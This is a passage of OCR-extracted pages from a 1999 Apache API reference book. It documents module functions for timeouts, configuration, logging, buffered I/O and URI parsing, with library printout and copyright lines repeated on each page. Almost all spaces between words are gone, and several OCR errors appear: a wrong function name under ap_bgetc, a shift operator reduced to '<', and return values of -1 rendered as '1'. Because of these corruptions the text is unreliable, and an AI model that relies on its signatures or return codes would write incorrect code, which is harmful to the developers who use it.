Similartoap_hard_timeout(),exceptthattherequestthatisdestroyedisnotset.Theparameterrisnotused(itisthereforhistoricalreasons).
ap_reset_timeoutresetsahardorsofttimeouttoitsoriginaltime
voidap_reset_timeout(request_rec*r)
Resetsthehardorsofttimeouttowhatitoriginallywas.Theeffectisasifyouhadcalledap_hard_timeout()orap_soft_timeout()again.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page273
ap_kill_timeoutclearsatimeout
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
voidap_kill_timeout(request_rec*r)
Clearsthecurrenttimeoutontherequestr.
ap_block_alarms()temporarilypreventsatimeoutfromoccurring
voidap_block_alarms(void)
Temporarilyblocksanypendingtimeouts.Protectscriticalsectionsofcodethatwouldleakresources(orwouldgowronginsomeotherway)ifatimeoutoccurred
duringtheirexecution.Callstothisfunctioncanbenested,buteachcallmustbematchedbyacalltoap_unblock_alams().
ap_unblock_alarms()unblockablockedalarm
voidap_unblock_alarms(void)
Removeablockplacedbyap_block_alarms().
ap_check_alarmcheckalarm(Win32only)
intap_check_alarm(void)
SinceWin32hasnoalarm()function,itisnecessarytocheckalarms"byhand".This
functiondoesthat,callingthealarmfunctionsetwithoneofthetimeoutfunctions.Returns1if
thealarmhasgoneoff,thenumberofsecondsleftbeforethealarmdoesgooff,or0ifnoalarm
isset.
ConfigurationFunctions
ap_pcfg_openfileopenafileasaconfiguration
configfile_t*ap_pcfg_openfile(pool*p,constchar*name)
Opensnameasafile(usingfopen()),returningNULLiftheopenfails,orapointertoaconfigurationonsuccess.
ap_pcfg_open_customcreateacustomconfiguration
configfile_t*ap_pcfg_open_custom(pool*p,constchar*descr,void*param,int(*getch)(void*param),void*getstr)(void*buf,size_tbufsiz,void*param),int
(*close_func)(void*param))
Createsacustomconfiguration.Thefunctiongetch()shouldreadacharacterfromtheconfiguration,returningitorEOFiftheconfigurationisfinished.Thefunction
getstr()(ifsupplieditcanbeNULL,inwhichcasegetch()willbeusedinstead)shouldreadawholelineintobuf,terminatingwithNULL.It
shouldreturnbuf,orNULLiftheconfigurationisfinished.close_func()(ifsupplieditcanbeNULL)shouldclosetheconfiguration,returning0ormore
onsuccess.Allthefunctionsarepassedparamwhencalled.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page274
ap_cfg_getcreadacharacterfromaconfiguration
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
intap__cfg_getc(configfile_t*cfp)
Readsasinglecharacterfromcfp.IfthecharacterisLF,thelinenumberisincremented.Returnsthecharacter,orEOFiftheconfigurationhascompleted.
ap_cfg_getlinereadalinefromaconfiguration,strippingwhitespace
intap_cfg_getline(char*s,intn,configfile_t*cfp)
Readsaline(uptoncharacters)fromcfpintos,strippingleadingandtrailingwhitespaceandconvertinginternalwhitespacetosinglespaces.Continuationlines
(indicatedbyabackslashimmediatelybeforethenewline)areconcatenated.Returns0normally,1ifEOFhasbeenreached.
ap_cfg_closefilecloseaconfigurationintap_cfg_closefile(configfile_t*cfp)
Closetheconfigurationcfp.Returnislessthanzeroonerror.
ap_check_cmd_contextcheckifconfigurationcmdallowedincurrentcontext
constchar*ap_check_cmd_context(cmd_parms*cmd,unsignedforbidden)
Checkswhethercmdispermittedinthecurrentconfigurationcontext,accordingtothevalueofforbidden.ReturnsNULLifitis,oranappropriateerror
messageifnot.forbiddenmustbeacombinationofthefollowing:
NOT_IN_VIRTUALHOST
Commandcannotappearina<VirtualHost>section.
NOT_IN_LIMIT
Commandcannotoccurina<Limit>section
NOT_IN_DIRECTORY
Commandcannotoccurina<Directory>section
NOT_IN_LOCATION
Commandcannotoccurina<Location>section
NOT_IN_FILES
Commandcannotoccurina<Files>section.
NOT_IN_DIR_LOC_FILE
ShorthandforNOT_IN_DIRECTORY|NOT_IN_LOCATION|NOT_IN_FILES.
GLOBAL_ONLY
ShorthandforNOT_INVIRTUALHOST|NOT_IN_LIMIT|NOT_IN_DIR_LOC_FILE.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page275
ap_set_file_slot_setafileslotinaconfigurationstructure
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
constchar*ap_set_file_slot(cmd_parms*cmd,char*struct_ptr,char*arg)
Designedtobeusedinacommand_rectosetastringforafile.ItexpectstobeusedwithaTAKE1command.Ifthefileisnotabsolute,itismaderelativetothe
serverroot.Obviously,thecorrespondingstructuremembershouldbeachar*.
ap_set_flag_slotsetaflagslotinaconfigurationstructure.
constchar*ap_set_flag_slot(cmd_parms*cmd,char*struct_ptr,intarg)
Designedtobeusedinacommmand_rectosetaflag.ItexpectstobeusedwithaFLAGcommand.Thecorrespondingstructuremembershouldbeanint,
anditwillbesetto0or1.
ap_set_string_slotsetastringslotinaconfigurationstructure
constchar*ap_set_string_slot(cmd_parms*cmd,char*struct_ptr,char*arg)
Designedtobeusedinacommand_rectosetastring.ItexpectstobeusedwithaTAKE1command.Obviously,thecorrespondingstructuremembershouldbe
achar*.
ap_set_string_slot_lowersetalowercasestringslotinaconfigurationstructure
constchar*ap_set_string_slot_lower(cmd_parms*cmd,char*struct_ptr,char*arg)
Similartoap_set_string_slot(),exceptthestringismadelowercase.
ConfigurationInformationFunctions
Modulesmayneedtoknowhowsomethingshavebeenconfigured.Thesefunctionsgiveaccesstothatinformation.
ap_allow_optionsreturnoptionssetwiththeOptionsdirective
intap_allow_options(request_rec*r)
Returnstheoptionsetfortherequestr.ThisisabitmapcomposedofthebitwiseORofthefollowing:
OPT_NONE
Nooptionsset.
OPT_INDEXES
TheIndexesoption.
OPT_INCLUDES
TheIncludesoption.
OPT_SYM_LINKSTheFollowSymLinksoption.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page276
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
OPT_ExecCGI
TheExecCGIoption.
OPT_INCNOEXEC
TheIncludesNOEXECoption.
OPT_SYM_OWNER
TheFollowSymLinksIfOwnerMatchoption.
OPT_MULTI
TheMultiViewsoption.
ap_allow_overridesreturnoverridessetwiththeAllowOverrideoption
intap_allow_overrides(request_rec*r)
Returnstheoverridespermittedfortherequestr.ThesearethebitwiseORofthefollowing:
OR_NONE
Nooverridesarepermitted
OR_LIMIT
TheLimitoverride.
OR_OPTIONS
TheOptionsoverride.
OR_FILEINFO
TheFilelnfooverride.
OR_AUTHCFG
TheAuthConfigoverride.
OR_INDEXES
TheIndexes
override.
ap_auth_typereturntheauthenticationtypeforthisrequest
constchar*ap_auth_type(request_rec*r)
Returnstheauthenticationtype(assetbytheAuthTypedirective)fortherequestr.CurrentlythisshouldonlybeBasic,Digest,orNULL.
ap_auth_namereturntheauthenticationdomainname
constchar*ap_auth_name(request_rec*r)
Returnstheauthenticationdomainname(assetbytheAuthNamedirective)fortherequestr.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page277
ap_requiresreturntherequirearray
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
constarray_header*ap_requires(request_rec*r)
Returnsthearrayofrequire_linesthatcorrespondtotherequiredirectivefortherequestr.require_lineisdefinedasfollows:
typedefstruct{
intmethod_mask
char*requirement
}require_line
method_maskisthebitwiseORof:
1<M_GET
1<M_pUT
1<M_POST
1<M_DELETE
1<M_CONNECT
1<M_OPTIONS
1<M_TRACE
1<M_INVALID
assetbyaLimitdirective.
ap_satisfiesreturnthesatisfysetting
intap_satisfies(request_rec*r)
Returnsthesettingofsatisfyfortherequestr.Thisisoneofthefollowing:
SATISFY_ALL
Mustsatisfyallauthenticationrequirements(satisfyall).
SATISFY_ANY
Cansatisfyanyoneoftheauthenticationrequirements(satisfyany).\
ServerInformationFunctions
ap_get_server_builtgetthedateandtimeApachewasbuilt
constchar*ap_get_server_built(void)
Returnsastringcontainingthedateandtimetheserverwasbuilt.SincethisusestheCpreprocessor__DATE__and__TIME__variables,theformatis
somewhatsystemdependent.Ifthepreprocessordoesn'tsupport__DATE__or__TIME__,thestringissetto"unknown."
ap_get_server_versiongettheApacheversionstring
constchar*ap_get_server_version()
ReturnsastringcontainingApache'sversion(plusanymoduleversionstringsthathavebeenadded).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page278
ap_add_version_componentaddamoduleversionstring
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
voidap_add_version_component(constchar*component)
Addsastringtotheserverversionstring.Thisfunctiononlyhasaneffectduringstartup,afterwhichtheversionstringislocked.Versionstringsshouldtaketheform
modulename/versionnumber,forexample,MyModule/1.3.Mostmodulesdonotaddaversionstring.
LoggingFunctions
ap_error_log2stderrmapstderrtoanerrorlog
voidap_error_log2stderr(server_rec*s)
Makesstderrtheerrorlogfortheservers.Usefulwhenrunningasubprocess.
ap_log_errorloganerror
voidap_log_error(constchar*file,intline,intlevel,constserver_rec*s,
constchar*fmt,...)
Logsanerror(iflevelishigherthanthelevelsetwiththeLogLeveldirective).fileandlineareonlyloggediflevelisAPLOG_DEBUG.fileand
linearenormallysetbycallingap_log_error()likeso:
ap_log_error(APLOG_MARK,APLOG_ERR,server_conf,"some
error")
APLOG_MARKisa#definethatuses__FILE__and__LINE__togeneratetheComponentandlinenumberofthecall.
levelisacombinationofoneofthefollowing:
APLOG_EMERG
Thesystemisunusable.
APLOG_ALERT
Actionmustbetakenimmediately.
APLOG_CRIT
Criticalconditions.
APLOG_ERR
Errorconditions.
APLOG_WARNING
Warnings.
APLOG_NOTICE
Normalbutsignificantcondition.
APLOG_INFO
Informational.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page279
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
APLOG_DEBUG
Debuggingmessages.
optionallyORedwith:
APLOG_NOERRNO
Donotlogerrno.
APLOG_WIN32ERROR
OnWin32useGetLastError()insteadoferrno.
ap_log_reasonloganaccessfailure
voidap_log_reason(constchar*reason,constchar*file,request_rec*r)
Logsamessageoftheform''accesstofilefailedforremotehost,reason:reason".Theremotehostisextractedfromr.Themessageisloggedwith
ap_log_error()atlevelAPLOG_ERR.
PipedLogFunctions
Apacheprovidesfunctionstomanagereliablepipedlogs.Thesearelogswhicharepipedtoanotherprogram.Apacherestartstheprogramifitdies.Thisfunctionality
isdisabledifNO_RELIABLE_PIPED_LOGSisdefined.Thefunctionsstillexistandwork,butthe"reliability"isdisabled.
ap_open_piped_logmdashopenapipedlogprogram
piped_log*ap_open_piped_log(pool*p,constchar*program)
Theprogramprogramislaunchedwithappropriatepipes.programmayincludearguments.
ap_close_piped_logcloseapipedlog
voidap_close_piped_log(piped_log*pl)
Closespl.Doesn'tkillthespawnedchild.
ap_piped_log_write_fdgetthefiledescriptorofalogpipe
intap_piped_log_write_fd(piped_log*pl)
Returnsthefiledescriptorofanopenpipedlog.
BufferingFunctions
ApacheprovidesitsownI/Obufferinginterface.ThisallowschunkedtransferstobedonetransparentlyandhidesdifferencesbetweenfilesandsocketsunderWin32.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page280
ap_bcreatecreateabufferedstream
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
BUFF*ap_bcreate(pool*p,intflags)
Createsanewbufferedstreaminp.Thestreamisnotassociatedwithanyfileorsocketatthispoint,flagsareacombinationofoneofthefollowing:
B_RD
Readingisbuffered.
B_WR
Writingisbuffered.
B_RDWR
Readingandwritingarebuffered.
and,optionally:
B_SOCKET
Thestreamwillbebufferingasocket.NotethatthisflagalsocausesASCII/EBCDICtranslationtobeenabledonplatformsthatuseEBCDIC(see
ap_bsetflag()).
ap_bpushfdsetthefiledescriptorsforastream
voidap_bpushfd(BUFF*fb,intfd_in,intfd_out)
Setsthereadfiledescriptortofd_inandthewritefiledescriptortofd_out.Use1forfiledescriptorsyoudon'twanttoset.Notethatthesedescriptorsmust
bereadablewithread()andwritablewithwrite().
ap_bpushhsetaWin32bandleforastream
voidap_bpushh(BUFF*fb,HANDLEhFH)
SetsaWin32filehandleforbothinputandoutput.Thehandlewillbewrittenwith
WriteFile()andreadwithReadFile().Notethatthisfunctionshould
notbeusedforasocket,eventhoughasocketisaWin32handle.
ap_bpushfd()shouldbeusedforsockets.
ap_bsetoptsetanoption
intap_bsetopt(BUFF*fb,intoptname,constvoid*optval)
Setstheoptionoptnametothevaluepointedatbyoptval.Thereiscurrentlyonlyoneoption,whichisthecountofbytessenttothestream*,setwith
BO_BYTECT.Inthiscase,optvalshouldpointtoalong.Thisfunctionisusedforloggingandstatisticsandisnotnormallycalledbymodules.Itsmainuse,
whenitiscalled,istozerothecountaftersendingheaderstoaclient.Returns0onsuccess,1onfailure.
*Notreallyanoption,inourview,butwedidn'tnamethefunction.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page281
ap_bgetoptgetthevalueofanoption
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
intap_bgetopt(BUFF*fb,intoptname,void*optval)
Getsthevalueoftheoptionoptnameinthelocationpointedatbyoptval.TheonlysupportedoptionisBO_BYTECT(seeap_bsetopt()).
ap_bsetflagsetorclearaflag
intap_bsetflag(BUFF*fb,intflag,intvalue)
Ifvalueis0,clearflagotherwise,setit.flagisoneofthefollowing:
B_EOUT
PreventfurtherI/O.
B_CHUNK
Usechunkedwriting.
B_SAFEREAD
Forceanap_bflush()ifareadwouldblock.
B_ASCII2EBCDIC
ConvertASCIItoEBCDICwhenreading.OnlyavailableonsystemsthatsupportEBCDIC.
B_EBCDIC2ASCII
ConvertEBCDICtoASCIIwhenwriting.OnlyavailableonsystemsthatsupportEBCDIC.
ap_bgetflaggetaflag'ssetting
intap_bgetflag(BUFF*fb,intflag)
Returns0ifflagisnotset,nonzerootherwise.Seeap_bsetflag()foralistofflags.
ap_bonerrorregisteranerrorfunction
voidap_bonerror(BUFF*fb,void(*error)(BUFF*,int,void*),void*data)
Whenanerroroccursonfb,error()iscalledwithfb,thedirection(B_RDorB_WR),anddata.
ap_bnonblocksetastreamtononblockingmode
intap_bnonblock(BUFF*fb,intdirection)
directionisoneofB_RDorB_WR.Setsthecorrespondingfiledescriptortobenonblocking.Returnswhateverfcntl()returns.
ap_bfilenogetafiledescriptorfromastream
intap_bfileno(BUFF*fb,intdirection)
directionisoneofB_RDorB_WR.Returnsthecorrespondingfiledescriptor.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page282
ap_breadreadfromastream
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
intap_bread(BUFF*fb,void*buf,intnbyte)
Readsuptonbytebytesintobuf.Returnsthenumberofbytesread,0onendoffile(EOF),or1foranerror.Onlyreadsthedatacurrentlyavailable.
ap_bgetcgetacharacterfromastream
intap_bvputs(BUFF*fb)
Readsasinglecharacterfromfb.Returnsthecharacteronsuccess,andreturnsEOFonerrororendoffile.IftheEOFistheresultofanendoffile,errnowillbe
zero.
ap_bgetsreadalinefromastream
intap_bgets(char*buff,intn,BUFF*fb)
Readsupton1bytesintobuff,untilanLFisseenortheendoffileisreached.IfLFisprecededbyCR,theCRisdeleted.Thebufferisthenterminatedwitha
NUL(leavingtheLFasthecharacterbefore
theNUL).Returnsthenumberofbytesstoredinthebuffer,excludingtheterminatingNUL.
ap_blookcpeekatthenextcharacterinastream
intap_blookc(char*buff,BUFF*fb)
Placesthenextcharacterinthestreamin*buff,withoutremovingitfromthestream.Returns1onsuccess,0onEOF,and1onerror.
ap_bskiplfdiscarduntilanLFisread
intap_bskiplf(BUFF*fb)
DiscardsinputuntilanLFisread.Returns1onsuccess,0onEOF,and1onanerror.Thestreammustbereadbuffered(i.e.,inB_RDorB_RDWRmode).
ap_bwritewritetoastream
intap_bwrite(BUFF*fb,constvoid*buf,intnbyte)
Writesnbytebytesfrombuftofb.Returnsthenumberofbyteswritten.Thiscanonlybelessthannbyteifanerroroccurred.Takescareofchunkedencoding
iftheB_CHUNKflagisset.
ap_bputcwriteasinglecharactertoastream
intap_bputc(charc,BUFF*fb)
Writesctofb,returning0onsuccess,1onanerror.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page283
ap_bputswriteaNULterminatedstringtoastream
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
intap_bputs(constchar*buf,BUFF*fb)
Writesthecontentsofbufupto,butnotincluding,thefirstNUL.Returnsthenumberofbyteswritten,or1onanerror.
ap_bvputswriteseveralNULterminatedstringstoastream
intap_bvputs(BUFF*fb,...)
Writesthecontentsofalistofbuffersinthesamemannerasap_bputs().ThelistofbuffersisterminatedwithaNULL.Returnsthetotalnumberofbytes
written,or1onanerror.Forexample:
if(ap_bvputs(fb,bufl,buf2,buf3,NULL)<0)
...
ap_bprintfwriteformattedoutputtoastream
intap_bprintf(BUFF*fb,constchar*fmt,...)
Writeformattedoutput,asdefinedbyfmt,tofb.Returnsthenumberofbytessenttothestream.
ap_vbprintfwriteformattedoutputtoastream
intap_vbprintf(BUFF*fb,constchar*fmt,va_listap)
Similartoap_bprintf(),exceptitusesava_listinsteadof"".
ap_bflushflushoutputbuffers
intap_bflush(BUFF*fb)
Flushfb'soutputbuffers.Returns0onsuccessand1onerror.Notethatthefilemustbewritebuffered(i.e.,inB_WRorB_RDWRmode).
ap_bclosecloseastream
intap_bclose(BUFF*fb)
Flushestheoutputbufferandclosestheunderlyingfiledescriptors/handle/socket.Returns0onsuccessand1onerror.
URIFunctions
Someofthesefunctionsusetheuri_componentsstructure:
typedefstruct{
char*scheme/*scheme("http"/"ftp"/...)*/
char*hostinfo/*combined[user[:password]@]host[:port]*/
char*user/*username,asinhttp://user:passwd@host:port/*/
char*password/*password,asinhttp://user:passwd@host:port/*/
char*hostname/*hostnamefromURI(orfromHost:header)*/
char*port_str/*portstring(integerrepresentationisin"port")*/
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page284
char*path/*Therequestpath(or"/"ifonly
scheme://hostwas/*given)*/
char*query/*Everythingaftera"?"inthepath,
ifpresent*/
char*fragment/*Trailing"#fragment"string,if
present*/
structhostent*hostent
unsignedshortport
/*Theportnumber,numeric,validonly
if
/*port_str!=NULL*/
unsignedis_initialized:1
unsigneddns_looked_up:1
unsigneddns_resolved:1
}uri_components
ap_parse_uri_componentsdissectafullURI
intap_parse_uri_components(pool*p,constchar*uri,
uri_components*uptr)
DissectstheURIuriintoitscomponents,whichareplacedinuptr.Eachcomponentisallocatedinp.AnymissingcomponentsaresettoNULL.uptr
>is_
initializedissetto1.
ap_parse_hostinfo_components
dissectbost:port
intap_parse_hostinfo_components(pool*p,constchar
*hostinfo,uri_components*uptr)
Occasionally,itisnecessarytoparsehost:port,forexample,whenhandlingaCONNECTrequest.Thisfunctiondoesthat,settinguptr
>hostname,uptr>port_str,anduptr>port(iftheportcomponentispresent).AllotherelementsaresettoNULL.
ap_unparse_uri_componentsconvertbacktoaURI
char*ap_unparse_uri_component(pool*p,consturi_components*uptr,unsignedflags)
Takesafilledinuri_components,uptr,andmakesastringcontainingthecorrespondingURI.Thestringisallocatedinp.flagsisacombinationof
noneormoreofthefollowing:
UNP_OMITSITEPART
Leaveout
"scheme://user:password@site:port".
UNP_OMITUSER
Leaveouttheuser.
UNP_OMITPASSWORD
Leaveoutthepassword.
UNP_OMITUSERINFO
Shorthandfor
UNP_OMITUSERUNP_OMITPASSWORD.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page285
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
UNP_REVEALPASSWORD
Showthepassword(insteadofreplacingitwithXXX).
ap_pgethostbynameresolveahostname
structhostent*ap_pgethostbyname(pool*p,constchar*hostname)
Essentiallydoesthesameasthestandardfunctiongethostbyname()exceptthattheresultisallocatedinpinsteadofbeingtemporary.
ap_pduphostentduplicateahostentstructure
structhostent*ap_pduphostent(pool*p,conststructhostent*hp)
Duplicateshp(andeverythingitpointsat)inthepoolp.
MiscellaneousFunctions
ap_child_terminatecausethecurrentprocesstoterminate
voidap_child_terminate(request_rec*r)
MakesthisinstanceofApacheterminateafterthecurrentrequesthascompleted.Iftheconnectionisakeepaliveconnection,keepaliveiscancelled.
ap_default_portreturnthedefaultportforarequest
unsignedshortap_default_port(request_rec*r)
Returnsthedefaultportnumberforthetypeofrequesthandledbyr.InstandardApachethisisalwaysanHTTPrequest,sothereturnisalways80,butin
ApacheSSL,forexample,itdependsonwhetherHTTPorHTTPSisinuse.
ap_is_default_portcheckwhetheraportisthedefaultport
intap_is_default_port(intport,request_rec*r)
Returns1ifportisthedefaultportforr,0ifnot.
ap_default_port_for_schemereturnthedefaultportforascheme
unsignedshortap_default_port_for_scheme(constchar*scheme_str)
Returnsthedefaultportfortheschemescheme.
ap_http_methodreturntheschemeforarequest
constchar*ap_http_method(request_rec*r)
Returnsthedefaultschemeforthetypeofrequesthandledbyr.InstandardApachethisisalwaysanHTTPrequest,sothereturnisalwayshttp,butinApacheSSL,
forexample,itdependsonwhetherHTTPorHTTPSisinuse.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page286
ap_default_typereturnsdefaultcontenttype
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
constchar*ap_default_type(request_rec*r)
Returnsthedefaultcontenttypefortherequestr.ThisiseithersetbytheDefaultTypedirectiveoristext/plain.
ap_get_basic_auth_pwgetthepasswordsuppliedforbasicauthentication
intap_get_basic_auth_pw(request_rec*r,constchar**pw)
Ifapasswordhasbeensetforbasicauthentication(bytheclient),itsaddressisputin*pw.Otherwise,anappropriateerrorisreturned:
DECLINED
Iftherequestdoesnotrequirebasicauthentication
SERVER_ERROR
Ifnoauthenticationdomainnamehasbeenset(withAuthName)
AUTH_REQUIRED
Ifauthenticationisrequiredbuthasnotbeensentbytheclient
OK
Ifthepasswordhasbeenputin*pw
ap_get_module_configgetmodulespecificconfigurationinformation
void*ap_get_module_config(void*conf_vector,module*m)
Getsthemodulespecificconfigurationsetupbythemoduleduringstartup.conf_vectorisusuallyeithertheper_dir_configfromarequest_rec,
ormodule_configfromaserver_rec.SeeChapter15,WritingApacheModules,formoreinformation.
ap_get_remote_lognamegettheloginnameoftheclient'suser
constchar*ap_get_remote_logname(request_rec*r)
Returnstheloginnameoftheclient'suser,ifitcanbefoundandthefacilityhasbeenenabledwiththeIdentityCheckdirective.ReturnsNULLotherwise.
ap_get_server_namegetthenameofthecurrentserver
constchar*ap_get_server_name(constrequest_rec*r)
Getsthenameoftheserverthatishandlingr.IftheUseCanonicalNamedirectiveison,thenitreturnsthenameconfiguredintheconfigurationfile.If
UseCanonicalNameisoff,itreturnsthehostnameusedintherequest,iftherewasone,ortheconfigurednameifnot.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page287
ap_get_server_portgettheportofthecurrentserver
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
unsignedap_get_server_port(constrequest_rec*r)
IfUseCanonicalNameison,thenreturnstheportconfiguredfortheserverthatishandlingr.IfUseCanonicalNameisoff,returnstheportofthe
connectioniftherequestincludedahostname,ortheconfiguredportotherwise*.
ap_is_initial_reqisthisthemainrequest_rec?
intap_is_initial_req(request_rec*r)
Returns1ifristhemainrequest_rec(asopposedtoasubrequestorinternalredirect),and0otherwise.
ap_matches_request_vhostdoesahostmatcharequest'svirtualhost?
intap_matches_request_vhost(request_rec*r,constchar*host,unsignedport)
Returns1ifhost:portmatchesthevirtualhostthatishandlingr,0otherwise.
ap_os_dso_loadloadadynamicsharedobject(DSO)
void*ap_os_dso_load(constchar*path)
Loadsthedynamicsharedobject(thatis,DLL,sharedlibrary,orwhatever)specifiedbypath.Thishasadifferentunderlyingimplementationaccordingto
platform.ThereturnvalueisahandlethatcanbeusedbyotherDSOfunctions.ReturnsNULLifpathcannotbeloaded.
ap_os_dso_unloadunloadadynamicsharedobject
voidap_os_dso_unload(void*handle)
Unloadsthedynamicsharedobjectdescribedbyhandle.
ap_os_dso_symreturntheaddressofasymbol
void*ap_os_dso_sym(void*handle,constchar*symname)
Returnstheaddressofsymnameinthedynamicsharedobjectreferredtobyhandle.Iftheplatformmanglessymbolsinsomeway(forexample,byprepending
anunderscore),thisfunctiondoesthesamemanglingbeforelookup.ReturnsNULLifsymnamecannotbefoundoranerroroccurs.
ap_os_dso_errorgetastringdescribingaDSOerror
constchar*ap_os_dso_error(void)
IfanerroroccurswithaDSOfunction,thisfunctionreturnsastringdescribingtheerror.Ifnoerrorhasoccurred,returnsNULL.
*Thoughwhatpracticaldifferencethismakesissomewhatmysterioustous.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page288
ap_popendirdoanopendir()withcleanup
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
DIR*ap_popendir(pool*p,constchar*name)
Essentiallythesameasthestandardfunctionopendir(),exceptthatitregistersacleanupfunctionthatwilldoaclosedir().ADIRcreatedwiththis
functionshouldbeclosedwithap_pclosedir()(orleftforthecleanuptoclose).Apartfromthat,thestandardfunctionsshouldbeused.
ap_pclosedircloseaDIRopenedwithap_popendir()
voidap_pclosedir(pool*p,DIR*d)
Doesaclosedir()andcancelsthecleanupregisteredbyap_popendir().ThisfunctionshouldonlybecalledonaDIRcreatedwithap_popendir
().
ap_psignaturecreatetheserver"signature"
constchar*ap_psignature(constchar*prefix,request_rec*r)
Createsa"signature"fortheserverhandlingr.Thiscanbenothing,theservernameandport,ortheservernameandporthotlinkedtotheadministrator'semail
address,dependingonthesettingoftheServerSignaturedirective.UnlessServerSignatureisoff,thereturnedstringhasprefixprepended.
ap_vformattergeneralpurposeformatter
intap_vformatter(int(*flush_func)(ap_vformatter_buff*),ap_vformatter_buff
*vbuff,constchar*fmt,va_listap)
BecauseApachehasseveralrequirementsforformattingfunctions(e.g.,ap_bprintf(),ap_psprintf())anditisactuallynotpossibletoimplement
themsafelyusingstandardfunctions,Apachehasitsownprintf()styleroutines.Thisfunctionistheinterfacetothem.Ittakesabufferflushingfunctionasan
argument,andanap_vformatter_buffstructure,whichlookslikethis:
typedefstruct{
char*curpos
char*endpos
}ap_vformatter_buff
aswellastheusualformatstring,fmt,andvarargslist,ap.ap_vformatter()fillsthebuffer(atvbuff>curpos)untilvbuff
